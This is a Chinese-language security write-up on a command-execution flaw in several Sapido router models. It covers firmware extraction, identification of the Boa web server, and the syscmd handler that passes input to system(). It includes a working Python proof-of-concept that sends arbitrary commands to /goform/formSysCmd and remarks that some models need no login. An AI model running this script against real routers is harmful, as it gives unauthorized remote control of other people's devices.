Sapido多款路由器命令执行漏洞

0x01.漏洞介绍

BR270n-v2.1.03 / BRC76n-v2.1.03 / GR297-v2.1.3 / RB1732-v2.0.43 之前版本存在的命令执行漏洞

0x02.固件环境模拟

upload successful

0x03. binwalk解压固件

upload successful

upload successful

0x04.查看web容器

upload successful

对于嵌入式设备而言,很多服务都是移植开源的,/etc/init.d文件夹下是路由器启动时的加载项,在这些文件中可以看到很多的启动服务等,但是在这里我没有发现web容器的启动项,猜测可能厂商进行了二次开发

0x05.查找http服务模块

upload successful

在这里可以看到很多关于http的,我们不去关注web网页出现的。因为我们想要知道这款路由器的web容器是哪个,所以我们把重点放在前面的elf文件处,在这里我们看到一个cmelf文件,如果知道开源的web服务器boa可能猜到一些,下面就是boa的架构

upload successful

这里可以清晰的看到web层是如何和底层通过boa进行交互的。那么对于不知道的容器我们又该如何去分析呢?我们继续去分析剩下的elf程序,通过名字和逐个分析我们在sysconf程序中发现了http请求的处理方式,使用ghidra来分析sysconf

upload successful

通过全文搜索http定位到关键函数,在这里我们发现了一个关键的函数apmib_get通过猜测也能大概猜到这是一个关于获取的函数,通过google可以搜索到这个函数,会发现这个函数是关于web开源服务器的boa用到的函数,那么到这里我们就已经确认这款路由器的web容器是boa了。既然已经知道了boa,那么肯定知道这个框架有一个关键的文件syscmd.htm文件,可以执行系统命令,但是由于这款路由器是asp写的所以我们只进行检索syscmd

upload successful

这里可以发现两个文件,一个elf文件,一个asp文件,打开asp文件

upload successful

在这里可以看出页面可以执行系统命令

0x06.通过url访问指定页面

upload successful

发现可以执行系统命令,那么这里又是如何处理的呢?

通过上面的asp文件可以知道,对于输入的命令处理应该和formSysCmd有关联,这里我们进行grep搜索

upload successful

可以看到一个webself文件,那么可以猜测这里可能就是syscmd执行的底层文件了

0x07.分析webs文件

upload successful

upload successful

上面就是整个命令执行的底层实现方式了,第一个图片可以看到使用system函数执行输入的系统命令,第二个图片可以看出将执行的结果通过cat输入到/web/obama.dat文件中,最后将obama.dat中的内容输入到web界面的文本框里。

0x08.POC

根据web界面的输入位置写POC脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import sys

def test_httpcommand(ip, command):
my_data = {'sysCmd': command, 'apply': 'Apply', 'submit-url':'/syscmd.asp', 'msg':''}
r = requests.post('http://%s/goform/formSysCmd' % ip, data = my_data)
content = r.text
content = content[
content.find('<textarea rows="15" name="msg" cols="80" wrap="virtual">')+56:
content.rfind('</textarea>')]
return content

print test_httpcommand(sys.argv[1], " ".join(sys.argv[2:]))

0x09.运行POC,执行系统命令

upload successful

0x10. BR270n-v2.1.03命令执行漏洞

这个原理和RB1732差不多,只不过访问的页面变成了syscmd.htm

upload successful

0x11.BRC76n-v2.1.03命令执行漏洞

upload successful

0x12.GR297-v2.1.3命令执行漏洞

upload successful

0x13.附录

1.BR270n,RB1732命令执行有个前提就是登陆路由器,可以进行信息的泄露获得用户名和密码,而且又有很多路由器使用的还是默认用户名和密码,GR297,BRC76n则不需要进行登陆

0x14.参考

1.https://www.exploit-db.com/exploits/47031